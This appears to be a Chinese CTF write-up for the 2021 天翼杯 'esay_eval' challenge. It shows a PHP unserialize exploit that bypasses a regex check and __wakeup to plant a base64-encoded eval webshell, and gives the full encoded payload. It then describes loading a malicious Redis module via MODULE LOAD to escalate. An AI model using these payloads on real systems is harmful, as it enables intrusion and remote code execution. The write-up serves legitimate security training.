[天翼杯 2021]esay_eval

进入页面,得到源码

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
}

分析一下关键代码

preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);

这里把匹配到[AB]:(任意): 到$ret里面 $ret的内容就是就是(任意)

因为这里不能让$ret匹配到内容,所以要让$ret为空

因为类不区分大小写,我们反序化的时候可以把AB改成小写ab

我们先试一下能不能触发phpinfo();

<?php
class a{
    public $code = "";

    function __construct(){
        $this->code = "phpinfo();";
    }
}
class b{
    function __construct(){
        $this->a=new a();
    }
}

$str = serialize(new b());
$str1 = preg_replace('/"b":1:/','"b":2:',$str);
echo urlencode($str1);

 

发现可以,那就是构造序列化了(写一句话木马进去)

<?php
class a{
    public $code = "";

    function __construct(){
        $this->code = "fputs(fopen('shell.php','w'),base64_decode(\"PD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pOw==\"));";
    }
}
class b{
    function __construct(){
        $this->a=new a();
    }
}

$str = serialize(new b());
$str1 = preg_replace('/"b":1:/','"b":2:',$str);
echo urlencode($str1);

这里把b:1替换成b:2因为我们要绕过__wakeup所以要让变量个数大于实际个数就可以绕过

把得到的传参到poc=O%3A1%3A%22b%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22a%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A84%3A%22fputs%28fopen%28%27shell.php%27%2C%27w%27%29%2Cbase64_decode%28%22PD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pOw%3D%3D%22%29%29%3B%22%3B%7D%7D

然后访问shell.php

连接蚁剑

 因为这里对目录访问设置了限定,所以我们只能在/var/www/html/这个目录下做文章,这里发现里面有一个config.php.swp

点进去看

redis的连接,这个是密码,所以我们要上传一下连接redis的文件 

链接文件:exp.so

下载了之后,把里面的exp.so传到目录里面,然后利用redis管理工具ssrf

 

可能有些人没有redis工具,这里给大家一个链接:redis管理工具 

下载完记得把他解压到图示目录 

然后进入 

在配置列表里面添加一下

 输入MODULE LOAD 加载一下恶意脚本

再拿我们想要的flag

 

 

 

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值